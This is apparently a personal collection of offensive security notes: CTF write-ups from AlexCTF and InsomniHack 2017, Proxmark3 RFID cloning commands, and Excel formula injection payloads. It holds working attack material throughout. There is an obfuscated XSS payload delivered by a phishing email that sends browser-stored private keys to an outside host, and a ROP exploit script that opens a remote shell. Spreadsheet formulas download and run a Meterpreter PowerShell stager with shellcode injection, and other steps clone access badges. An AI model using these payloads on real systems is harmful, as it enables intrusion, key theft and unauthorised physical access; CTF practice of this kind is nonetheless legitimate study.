md5s = [174282896860968005525213562254350376167L, 137092044126081477479435678296496849608L, 126300127609096051658061491018211963916L, 314989972419727999226545215739316729360L, 256525866025901597224592941642385934114L, 115141138810151571209618282728408211053L, 8705973470942652577929336993839061582L, 256697681645515528548061291580728800189L, 39818552652170274340851144295913091599L, 65313561977812018046200997898904313350L, 230909080238053318105407334248228870753L, 196125799557195268866757688147870815374L, 74874145132345503095307276614727915885L]
print 'Can you turn me back to python ? ...'
flag = raw_input('well as you wish.. what is the flag: ')
if len(flag) > 69:
    print 'nice try'
    exit()
if len(flag) % 5 != 0:
    print 'nice try'
    exit()
for i in range(0, len(flag), 5):
    s = flag[i:i + 5]
    if int('0x' + md5.new(s).hexdigest(), 16) != md5s[i / 5]:
        print 'nice try'
        exit()

print 'Congratz now you have the flag'

Generate the wordlist

# crunch 5 5 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz{} > md5.txt

Get the flag

# cat crack.py
import md5

imd5 = [174282896860968005525213562254350376167L, 137092044126081477479435678296496849608L, 126300127609096051658061491018211963916L, 314989972419727999226545215739316729360L, 256525866025901597224592941642385934114L, 115141138810151571209618282728408211053L, 8705973470942652577929336993839061582L, 256697681645515528548061291580728800189L, 39818552652170274340851144295913091599L, 65313561977812018046200997898904313350L, 230909080238053318105407334248228870753L, 196125799557195268866757688147870815374L, 74874145132345503095307276614727915885L]

hmd5 = []
for i in imd5:
 r = hex(i)[2:-1]
 if len(r) != 32:
  r = '0' + r
 hmd5.append(r)

with open("md5.txt", "r") as ins:
 for line in ins:
  line = line[:-1]
  m = md5.new(line).hexdigest()
  if m in hmd5:
   print line, hmd5.index(m)
for i in hmd5:
 print i

# python crack.py
1n52n 8
28n4b 11
43s8d 4
5d4s2 2
6v3k} 12
81h3d 10
8l6m1 5
ALEXC 0
TF{dv 1
ds9v4 7
n5l67 6
v37j4 9
vj8nk 3
ALEXCTF{dv5d4s2vj8nk43s8d8l6m1n5l67ds9v41n52nv37j481h3d28n4b6v3k}

# InsomniHack teaser 2k17: The Great Escape - part 2 - forensics - 200 pts


# ./certbot-auto

# cat phishing.py
from pwn import *

host = 'ssc.teaser.insomnihack.ch'
port = 25

r = remote(host, port)

expect = '(Ubuntu)'
line = 'ehlo ip-172-31-36-141.eu-west-1.compute.internal'
r.sendlineafter(expect, line)
expect = '250 SMTPUTF8'
line = 'mail FROM:<gr27@ssc.teaser.insomnihack.ch>'
r.sendlineafter(expect, line)
expect = 'Ok'
line = 'rcpt TO:<rogue@ssc.teaser.insomnihack.ch>'
r.sendlineafter(expect, line)
expect = 'Ok'
line = 'data'
r.sendlineafter(expect, line)
expect = '.<CR><LF>'
line = '''Content-Type: multipart/mixed; boundary="===============5398474817237612449=="
MIME-Version: 1.0
From: gr27@ssc.teaser.insomnihack.ch
To: rogue@ssc.teaser.insomnihack.ch
Date: Fri, 20 Jan 2017 11:51:27 +0000
Subject: Good links

--===============5398474817237612449==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

Hello Rogue,

https://thegreatescape2.ddns.net/links.html

GR-27

--===============5398474817237612449==--
.\r\n'''
r.sendlineafter(expect, line)

# cat /var/www/html/links.html
<html>
     <form id="1234" action="https://ssc.teaser.insomnihack.ch/api/user.php" method="post">
          <input name="action" value="login" />
   <input name="name" value="<img src='a' onerror='javascript:document.write(String.fromCharCode(60,115,99,114,105,112,116,62,118,97,114,32,100,97,116,97,32,61,32,39,39,59,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,108,111,99,97,108,83,116,111,114,97,103,101,41,123,32,100,97,116,97,32,43,61,32,108,111,99,97,108,83,116,111,114,97,103,101,46,103,101,116,73,116,101,109,40,107,101,121,41,125,118,97,114,32,104,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,104,116,116,112,46,111,112,101,110,40,39,71,69,84,39,44,32,39,104,116,116,112,115,58,47,47,116,104,101,103,114,101,97,116,101,115,99,97,112,101,50,46,100,100,110,115,46,110,101,116,47,103,101,116,46,104,116,109,108,63,108,115,61,39,32,43,32,100,97,116,97,44,32,116,114,117,101,41,59,104,116,116,112,46,115,101,110,100,40,41,59,60,47,115,99,114,105,112,116,62))'/>"/>
         <input name="password" value="tge2"/>
        </form>
</html>

<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js"></script>
<script type="text/javascript">
  $(document).ready(function() {
       window.document.forms[0].submit();
         });
</script>

# python phishing.py
[+] Opening connection to ssc.teaser.insomnihack.ch on port 25: Done
[*] Closed connection to ssc.teaser.insomnihack.ch port 25

# tail -f /var/log/apache2/access.log
52.214.142.175 - - [29/Jan/2017:09:27:14 +0000] "GET /links.html HTTP/1.1" 200 4202 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0"
52.214.142.175 - - [29/Jan/2017:09:27:15 +0000] "GET /get.html?ls=INS{IhideMyVulnsWithCrypto}{"alg":"RSA-OAEP-256","d":"CFSPW_AU_cK07bOtdnzbj5MgBqdweDY04Ku-mHSrAIbDv3J_lHH-jCPQb5U2JR4v08eMXlz3AassULQr60rskdwjdPN7Nen15yRcRTsaoSyRTd2qM8O_U-K6Gy7Lvg_ld2HOlHNBBy2k8g8cP7cpjyy7Ebsk5MUNy_udx9aMs7497RaIrCFnpT7RztudkYBo_2Oy5xm6BcsV9059HBhbKbUqq6Ui9_BZ3H7sdwTqlYx3afVV5AgE61eEdWK7vK_yI65Ru_5_fOBWik7xf7fwPjf7COp1HfTZiFbCIWTUaXVe6ThfMoTdwT1wQ0wwuFdtpGTkk8d4XwGtDa8-_XbmIQ","dp":"hapJ7dlVsPvF9no_s-Nfnpv2dZ5a5_C2AyPo_-_mVi4-1a7HTkW9SyGg1KextCPYRAwQZ1wU3bL6P_4TjkrYiAAl-8Iq6moUqWuRY7G8vo3N_P3aBwjgyNTzk3eHfnUFP4QgGOooT2ZwyuDTDSbwKOesnD13q4U_vjtjcZaFU70","dq":"Ts_hwWPsLOjp-yJg0wbQEONeqbvNPLCChb5QJItXvUaL2JcN9muozrN1GZqu383-h8gZ-VUm3-CFU7OWeGYLa0PZlq1uGNvsdffgdNL3MYZ2KwMhXkwXKf45ePhx_ydiblYhb44cFtm0ffXKSPlvbyzLHvJ2_o8ggok0Lzu-weE","e":"AQAB","ext":true,"key_ops":["decrypt"],"kty":"RSA","n":"qx_U0OgHUPC6n4RcE_q1ONcEgKp4tcbLWeUIfrlRAcX64alQSpddAv98CHo2ziSBgi7tS-HwUsVlH06Nxaa0tx3SdM0cz95IkvjB_kqdPnHEwyx8iz5Gh8ZHP32ZoETBs2PzxTIcEOekm1qQnA0MTdvAAO0xcvuvhRM2YycRYfN860NsBCRrF25lZn9DTGBDnisCm0-xvElxAZ8gObWeJ1SZRgFRJwI14d11oa922drFp0ux4MHscls2tEjPV7eXdivjGYI-uzVX61fjyUdGxFeb8CAjxrzOmw4f1Aac7kqXwmF-eMq3AMKm2tArrIIjT4t2q2mP1FXImrNQ_vinVQ","p":"29_YD0m-NFoUTmst33E4p2VBDlCeQ1MJdr_7tO4ERF8aww0e8hu3jRq5PMHCEc8G8gA4q2kuXylIpaB5mWzcQplDDMgIDGupEnL_J0ynMcg-HUld8NDaya7mQWtLHvSEAoB-2MymBTJYaTwsvAYtTI8ruaqhMo4-cKjs5zQfmj0","q":"xz2B2WzMdesiDK7dzorVdJlBgIShj2cMRGwhXcSiWfbY2M4Y3DB_m8p5tdEUIU6g0oWbSfmaYF_MsQxijXRxxe17nuYssns2ue4hYm2xH4mTY6voeNhbOeu7LtOXepUWxN-5520suTvL74Lx9xwWrdeTGIF1_zECqbWRuFieSvk","qi":"VhY5UYLTv20Btpq4MlizFPSuuItbfmK61P0rqEXe-sYHTitMNDBOWDSwIqj4pHkDTFaOCG0o6z81MyVg_bmz2ODzkHDrJUeiOVSMISxlaeSRf2JhiVYMfXiWKJBGCP-PgWuHp5NwLwESZT3aZ0KBYSkE7jnfcttWbc0mYu1glWg"}{"alg":"RSA-OAEP-256","e":"AQAB","ext":true,"key_ops":["encrypt"],"kty":"RSA","n":"qx_U0OgHUPC6n4RcE_q1ONcEgKp4tcbLWeUIfrlRAcX64alQSpddAv98CHo2ziSBgi7tS-HwUsVlH06Nxaa0tx3SdM0cz95IkvjB_kqdPnHEwyx8iz5Gh8ZHP32ZoETBs2PzxTIcEOekm1qQnA0MTdvAAO0xcvuvhRM2YycRYfN860NsBCRrF25lZn9DTGBDnisCm0-xvElxAZ8gObWeJ1SZRgFRJwI14d11oa922drFp0ux4MHscls2tEjPV7eXdivjGYI-uzVX61fjyUdGxFeb8CAjxrzOmw4f1Aac7kqXwmF-eMq3AMKm2tArrIIjT4t2q2mP1FXImrNQ_vinVQ"}nullnullnullnullnullnull HTTP/1.1" 404 3761 "https://ssc.teaser.insomnihack.ch/api/user.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0"

# InsomniHack teaser 2k17: The Great Escape - part 1 - forensics - 50 pts


Initial wireshark filters

smtp

Hello GR-27,

I'm currently planning my escape from this confined environment. I plan on using our Swiss Secure Cloud (https://ssc.teaser.insomniha.

I'll be checking this mail box every now and then if you have any information for me. I'm always interested in learning, so if you ha.

Rogue


ftp-data
-----BEGIN PRIVATE KEY-----
MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQC5twyPH+2U6X0Q
uxOKPTHSR6MkXGSvAz+Ax+G9DKEiBLuTTfl7dNv4oswdmT9nWlSY1kxZatNwlUF8
...

edWr4Hzbiph0V1Dv/V+kmmreWBmHetH6bhrTWQq3UZ5WbGMpiTmSsD0EXU5vZLbX
xmZSEXjNvG9grjxwR96vp1PK/4Bq1jo=
-----END PRIVATE KEY-----

Decrypt HTTPS traffic

Preferences/Protocols/SSL/RSA keys list/Edit: 52.214.142.175 443 http rsaprivate.key

New wireshark filters

ip.addr == 52.214.142.175 and http and tcp.stream eq 76

  $scope.downloadFile = function(id) {
    console.log("Download file " + id);
    $http.get("https://ssc.teaser.insomnihack.ch/api/files.php?action=download&id="+id,{withCredentials: true}).then(function(response) {
      var name = response.data.name;
      var content = JSON.parse(response.data.content);
      var key = Keys.getPrivKey();
      crypto.subtle.decrypt({name:"RSA-OAEP"},key,$scope._Base64ToArrayBuffer(content.sessionkey)).then(function(sesskey) {
        
        crypto.subtle.importKey('raw', sesskey, {name:"AES-CBC"},true,['encrypt','decrypt']).then(function(realsesskey) {
          console.log("Session key:" + realsesskey);
          window.crypto.subtle.decrypt({name: "AES-CBC", iv: $scope._Base64ToArrayBuffer(content.iv)}, realsesskey, $scope._Base64ToArrayBuffer(content.file)).then(function(dec) {
            console.log(dec);
            var blob = new Blob([dec], {type: 'application/octet-stream'});
            var url = window.URL.createObjectURL(blob);
            var anchor = document.createElement("a");
            anchor.download = name;
            anchor.href = url;
            anchor.click();
            window.URL.revokeObjectURL(url);
            anchor.remove();
          },function(e){console.log(e);});
        },function(e){console.log(e);});
        
      },function(response){console.log(response);});
    }, function(response){console.log(response);});
  }

  $scope.submitForm = function() {
    var file = document.getElementById('uploadFile').files[0];
    var reader = new FileReader();
    var pubKey = Keys.getPubKey();
    reader.onload = function(e) {
      var cleartext = e.target.result;
      window.crypto.subtle.generateKey(
          {name: "AES-CBC", length: 128}, 
          true, 
          ["encrypt", "decrypt"]).then(function(key) {
            var iv = window.crypto.getRandomValues(new Uint8Array(16));
            var sessionkey = key;
            window.crypto.subtle.encrypt({name: "AES-CBC", iv: iv}, key, cleartext).then(function(enc) {
              console.log(enc);
              var encfile = enc;
              console.log("sesskey : " + sessionkey);
              crypto.subtle.exportKey('raw', sessionkey).then(function(exportedKey){
                crypto.subtle.encrypt({name:"RSA-OAEP"},pubKey,exportedKey).then(function(encrypted) {
                  var res = {sessionkey: $scope._arrayBufferToBase64(encrypted), iv: $scope._arrayBufferToBase64(iv), file: $scope._arrayBufferToBase64(encfile)};

                  //console.log(JSON.stringify(res));
                  $http({
                    method: 'POST',
                    url: "https://ssc.teaser.insomnihack.ch/api/files.php",
                    data: "action=upload&file="+encodeURIComponent(JSON.stringify(res))+"&name="+encodeURIComponent(file.name),
                    headers : {'Content-Type': 'application/x-www-form-urlencoded'},
                    withCredentials: true,
                  }).then(function(response) {
                    if(response.data.status == 'SUCCESS') {
                      $scope.getFiles();
                    }
                  }, function(response) {console.log(response);});
                });
              });
              
            }
          );
          });
        
    
    $scope.generateKeys = function() {
      console.log("Generating keys");
      window.crypto.subtle.generateKey({
              name: "RSA-OAEP",
              modulusLength: 2048, //can be 1024, 2048, or 4096
              publicExponent: new Uint8Array([0x01, 0x00, 0x01]),
              hash: {name: "SHA-256"}, //can be "SHA-1", "SHA-256", "SHA-384", or "SHA-512"
          },
          true, //whether the key is extractable (i.e. can be used in exportKey)
          ["encrypt", "decrypt"] //must be ["encrypt", "decrypt"] or ["wrapKey", "unwrapKey"]
      )
      .then(function(key){
          window.crypto.subtle.exportKey("jwk",key.publicKey).then(function(key) {
            localStorage.setItem("publicKey",JSON.stringify(key));
          });
          window.crypto.subtle.exportKey("jwk",key.privateKey).then(function(key) {
            localStorage.setItem("privateKey",JSON.stringify(key));
          });
          
      })
      .catch(function(err){
          console.error(err);
      });


ip.addr == 52.214.142.175 and http and tcp.stream eq 85

POST /api/files.php HTTP/1.1
Host: ssc.teaser.insomnihack.ch
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Referer: https://ssc.teaser.insomnihack.ch/files
Content-Length: 20877
Cookie: PHPSESSID=3u5dqmfudc7ap1di0nmfjgtjm3
FLAG: INS{OkThatWasWay2Easy}
Connection: keep-alive

action=upload&file={
"sessionkey":"FDtHceahcvssOYVXpOBBdOqi5ZRCKqQI0wAg9kLZYPeG2tWeQw5GTTciwOu4AvTTfmt6S7RHtzhUuro0vFAfbeoKm/Uu3aoXY2XgBsgzcskszOzEKBD62k5yUGNHsFA1zGv8SsE8ERLD3C+O1WY24lpPgA9Me7p3wM5msnTrIS0OUFVEhAYytoqkKsvP+OgNs+o3Ch/FJZHam9V4eE6PU/1G3HhbIesIO9a5hFHHTUPLY/n6boZyS3I262zlGVOPd0R5dPg30J83nxixE1hedIkDQlNpLUNGBMa/vMsM0ViTh2AaLSmJZdPqOGlWn3PRAMnhgKk+fhROGsPHfpIq5w==",
"iv":"WSjrrrgGlOKiWKsWA5twjA==",
"file":"qkOqULxFivAN3uOwax9iCPZSrBcNtk172Rcfe7iDu...k0TUlSPBO"}&name=rogue

# InsomniHack teaser 2k17: baby - pwn - 50 pts


Binary info

# file baby
baby: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, not stripped
# ./checksec.sh --file baby
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   baby
# ./checksec.sh --file libc.so
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    DSO             No RPATH   No RUNPATH   libc.so

Partial RELRO and Full RELRO

+ PLT --> GOT
known: GOT --> shared lib address
unknown: GOT --> PLT --> dynamic linker (lazy binding)

+ Partial RELRO (Relocation Read Only)

- read only after dynamic loader initialization: .init_array, .fini_array, .jcr .dynamic .got
- read-only: .got
- writeable: .got.plt

+ Full RELRO

- partial relro
- lazy binding disabled: imported symbols resolved at startup time.
- read-only: .got, .got.pl


Disable SIGALRM

(gdb) info signals SIGALRM
Signal        Stop Print Pass to program Description
SIGALRM       No No Yes  Alarm clock
(gdb) handle SIGALRM nopass
Signal        Stop Print Pass to program Description
SIGALRM       No No No  Alarm clock

__libc_start_main address range

(gdb) disassemble __libc_start_main
0x00007ffff7a5c1c0
0x00007ffff7a5c385

Find a __libc address

Your format > %158$llp
0x7ffff7a5c2b1

(gdb) x/3i 0x7ffff7a5c2b1
   0x7ffff7a5c2b1 <__libc_start_main+241>: mov    edi,eax
   0x7ffff7a5c2b3 <__libc_start_main+243>: call   0x7ffff7a71960 <__GI_exit>
   0x7ffff7a5c2b8 <__libc_start_main+248>: xor    eax,eax

Find libc base address

# objdump -M intel -d libc.so | grep -A 2 'mov    edi,eax'
   20830: 89 c7                 mov    edi,eax
   20832: e8 f9 97 01 00        call   3a030 <exit@@GLIBC_2.2.5>
   20837: 31 d2                 xor    edx,edx

Find cookie address

Your format > %138$llp
0x3277851dfc60e000

gdb config file

# cat .gdbinit
set follow-fork-mode child
handle SIGALRM nopass
set environment LD_PRELOAD=./libc.so
set disassembly-flavor intel

Exploit

# cat baby.py
from pwn import *

host = 'baby.teaser.insomnihack.ch' # '127.0.0.1'
port = 1337

def leak_address(pos):
    r.sendlineafter('> ', '2')
    r.sendlineafter('> ', pos)
    address = r.recvline()
    r.sendlineafter('> ', '')
    return address

def give_me_a_shell(payload):
    r.sendlineafter('> ', '1')
    r.sendlineafter('? ', str(len(payload) + 1))
    r.sendline(payload)
    r.interactive()

context.clear()
context.arch = 'amd64'
print '[+] Arch = ' + context.arch

r = remote(host, port)

cookie = int(leak_address('%138$llp'), 16)
libc = int(leak_address('%158$llp'), 16)

elf = ELF('libc.so')
elf.address = libc - 0x20830
print '[+] libc base = ' + hex(elf.address)

padding = '\x90' * 1032
cookie = p64(cookie)
rbp = cookie
rop = ROP(elf)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.dup2(4, 2)
rop.system(elf.search('/bin/sh\x00').next())
print '[+] rop\n' + rop.dump()

payload = padding + cookie + rbp + rop.chain()
give_me_a_shell(payload)

# python baby.py
[+] Arch = amd64
[+] Opening connection to baby.teaser.insomnihack.ch on port 1337: Done
[*] 'libc.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] libc base = 0x7f129d29e000
[*] Loaded cached gadgets for 'libc.so'
[+] rop
0x0000:   0x7f129d2bf102 pop rdi; ret
0x0008:              0x4
0x0010:   0x7f129d2be2e8 pop rsi; ret
0x0018:              0x0
0x0020:   0x7f129d394d90 dup2
0x0028:   0x7f129d29e937 <adjust: ret>
0x0030:   0x7f129d2bf102 pop rdi; ret
0x0038:              0x4
0x0040:   0x7f129d2be2e8 pop rsi; ret
0x0048:              0x1
0x0050:   0x7f129d394d90 dup2
0x0058:   0x7f129d29e937 <adjust: ret>
0x0060:   0x7f129d2bf102 pop rdi; ret
0x0068:              0x4
0x0070:   0x7f129d2be2e8 pop rsi; ret
0x0078:              0x2
0x0080:   0x7f129d394d90 dup2
0x0088:   0x7f129d29e937 <adjust: ret>
0x0090:   0x7f129d2bf102 pop rdi; ret
0x0098:   0x7f129d42a177
0x00a0:   0x7f129d2e3390 system
0x00a8:       'raabsaab' <pad>
[*] Switching to interactive mode
Good luck !
$ cat flag
INS{if_you_haven't_solve_it_with_the_heap_overflow_you're_a_baby!}

# RFID cracking


EM

# Cloning EM410x
proxmark3> lf read
proxmark3> data samples 30000
proxmark3> lf em4x em410xread
EM TAG ID      : 0DEADBEEF0
proxmark3> lf em4x em410xsim 0DEADBEEF0
proxmark3> lf em4x em410xwrite 0DEADBEEF0 1

# Bruteforcing UID - https://github.com/mtongsang/pm3Bruter
$ ./proxmark3 /dev/cu.usbmodem1411 -b -m 3 -c 256 -t 1122334455

Mifare classic 1k

# Key A for sector 0
proxmark3> hf mf mifare
Found valid key: a0a1a2a3a4a

# Keys A/B for all sectors
proxmark3> hf mf nested 1 0 A a0a1a2a3a4a5 d

# Dumping and reading stored data
proxmark3> hf mf dump
proxmark3> script run htmldump
$ xxd dumpkeys.bin
$ xxd dumpdata.bin

# Reading and writing blocks and sectors
proxmark3> hf mf rdbl 0 A a0a1a2a3a4a5
proxmark3> hf mf rdsc 0 A a0a1a2a3a4a5
proxmark3> hf mf wrbl 0 A a0a1a2a3a4a5
0300e5c81c0eec00000000004d494300

# Cloning a dumped tag (dumpdata.bin) using a magic chinnese card
proxmark3> hf mf csetuid 86bcfe41
proxmark3> hf mf restore

# Simulating a tag
proxmark3> hf 14a reader
 UID : 11 22 33 44
ATQA : 00 04
 SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proxmark3> hf 14a sim 1 11223344

Pyramid

# Cloning: read raw data
proxmark3> lf search
Pyramid ID Found - BitLength: 90 -unknown BitLength- (ABCDE), Raw: 11111111222222223333333344444444                                                         
Checksum XX passed
Valid Pyramid ID Found!

# Cloning: write raw data
proxmark3> lf t55xx write b 0 d 00107080
Writing page 0  block: 00  data: 0x00107080
proxmark3> lf t55xx write b 1 d 11111111
Writing page 0  block: 01  data: 0x11111111
proxmark3> lf t55xx write b 2 d 22222222
Writing page 0  block: 02  data: 0x22222222
proxmark3> lf t55xx write b 3 d 33333333
Writing page 0  block: 03  data: 0x33333333
proxmark3> lf t55xx write b 4 d 44444444
Writing page 0  block: 04  data: 0x44444444

# Excel formula injection


# cat payloads.txt
=cmd|'/C calc.exe'!Z
=cmd|'/C "%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe iex (new-object net.webclient).downloadstring(\"http://192.168.1.1/meterpreter.ps\")"'!Z

# cat meterpreter.ps
iex (new-object net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1');
$e=ps explorer;
$p=$e.id;
invoke-shellcode -shellcode
# msfvenom --platform windows --payload 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,0x48,0x31,0xc0,0x50,0x50,0x49,0xbc,0x02,0x00,0x04,0xd2,0x00,0x00,0x00,0x00,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x02,0x59,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0xc2,0xdb,0x37,0x67,0xff,0xd5,0x48,0x31,0xd2,0x48,0x89,0xf9,0x41,0xba,0xb7,0xe9,0x38,0xff,0xff,0xd5,0x4d,0x31,0xc0,0x48,0x31,0xd2,0x48,0x89,0xf9,0x41,0xba,0x74,0xec,0x3b,0xe1,0xff,0xd5,0x48,0x89,0xf9,0x48,0x89,0xc7,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x48,0x81,0xc4,0xb0,0x02,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xe1,0x41,0xff,0xe7,0x58 -force -processid $p

Reference

https://appsec-labs.com/portal/formula-injection/

Thanks

ams